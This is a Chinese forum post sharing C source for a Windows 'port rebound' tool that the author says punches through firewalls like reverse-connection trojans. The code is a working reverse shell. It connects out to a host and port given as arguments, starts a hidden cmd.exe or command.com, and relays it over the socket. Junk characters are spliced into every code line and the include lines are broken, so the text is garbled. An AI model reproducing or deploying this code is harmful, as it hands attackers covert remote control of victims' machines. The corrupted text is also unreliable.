社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4663阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v|Yh w  
Pj4/xX  
/* ============================== =9z[[dQ|L  
Rebound port in Windows NT %_(H{y_!  
By wind,2006/7 m^H21P"z  
===============================*/ F6K4#t+9  
#include qnoNT%xazo  
#include s_> f5/i2  
(d<4"!  
#pragma comment(lib,"wsock32.lib") u6MzRC  
X83 w@-$}  
void OutputShell(); UQ+?\wi*  
SOCKET sClient; VH(S=G5Yb  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  -Y H<  
B7]C]=${m  
void main(int argc,char **argv) ^B@Wp  
{ rDQ!zlg>l  
WSADATA stWsaData; c{&*w")J  
int nRet; w^#L9i'v'  
SOCKADDR_IN stSaiClient,stSaiServer; fuA&7gNC  
"7v@Rye  
if(argc != 3) * =wYuJ#  
{ Z0*ljT5|  
printf("Useage:\n\rRebound DestIP DestPort\n"); GD:4"$)[o  
return; +{/*z  
} Q^q1 ns;r  
~",`,ZXQy  
WSAStartup(MAKEWORD(2,2),&stWsaData); :{ur{m5bX  
8Y_ol#\L  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vg>(  Y,  
gF0q@My~  
stSaiClient.sin_family = AF_INET; i-'9AYyw  
stSaiClient.sin_port = htons(0); #~=hn8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <]T`3W9  
gCN$}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Qed.4R:o  
{ 4mHvgnT!WA  
printf("Bind Socket Failed!\n"); GG0R}',0  
return; E-{^E.w1  
} %<\6TZr  
hTM[8 ~<^  
stSaiServer.sin_family = AF_INET; 8-lOB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v9D22,K-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J%jB?2 1:o  
Ezi-VGjr]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v\,N5  
{ >(<ytnt=  
printf("Connect Error!"); f_imyzP   
return; :gB[O>'<m  
} b.@P%`@a.  
OutputShell(); LS5vW|]w  
} k $f Gom  
9Li%KOY  
void OutputShell() .!6>oL/iF  
{ \y88d4zX  
char szBuff[1024]; :KKa4=5L  
SECURITY_ATTRIBUTES stSecurityAttributes; 3 AHY|  
OSVERSIONINFO stOsversionInfo; |hO~X~P  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c(/VYMJZ&  
STARTUPINFO stStartupInfo; shH~4<15  
char *szShell; Khe!g1=&X  
PROCESS_INFORMATION stProcessInformation; iajX~kv  
unsigned long lBytesRead; L3p`  
78Aa|AJU  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UDc$"a}ds{  
{\z({Wlb]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &%2*Wu;  
stSecurityAttributes.lpSecurityDescriptor = 0; "&/]@)TPz  
stSecurityAttributes.bInheritHandle = TRUE; Qf| U0  
nZ_v/?O  
b:(-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +hRmO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c=[O `/f  
1N\D5g3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c=;:R0_'t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N,J9Wu ZJ\  
stStartupInfo.wShowWindow = SW_HIDE; * FeQ*`r  
stStartupInfo.hStdInput = hReadPipe; -@F fU2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `?y<>m*  
-3&G"hfK  
GetVersionEx(&stOsversionInfo); 4_D@ST%  
o%4Gd~  
switch(stOsversionInfo.dwPlatformId) 5I,gBT|B  
{ z*a8sr  
case 1: ?|1Mv1C?  
szShell = "command.com"; :qvI%1cP=  
break; )g|xpb  
default: jS!`2li?{  
szShell = "cmd.exe"; `' 153M]  
break; s3 ;DG  
} e*  
om3`[r[{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yfDAk46->6  
,=~z6[  
send(sClient,szMsg,77,0); gUAxyV  
while(1) v`c$!L5  
{ v6GsoQmA   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jhGlG-^  
if(lBytesRead) S\wW)Pv8  
{ ;c -3g]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;&b%Se@#p  
send(sClient,szBuff,lBytesRead,0); u0RS)&  
} %y<ejM  
else g2R@`./S  
{ hAqg Iu*  
lBytesRead=recv(sClient,szBuff,1024,0); T'#!~GpB  
if(lBytesRead<=0) break; 2`a q**}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SMf+qiM-E  
} F=)&98^v$_  
} `T2<<<  
:+%Zh@u\  
return; >az;!7~cD  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五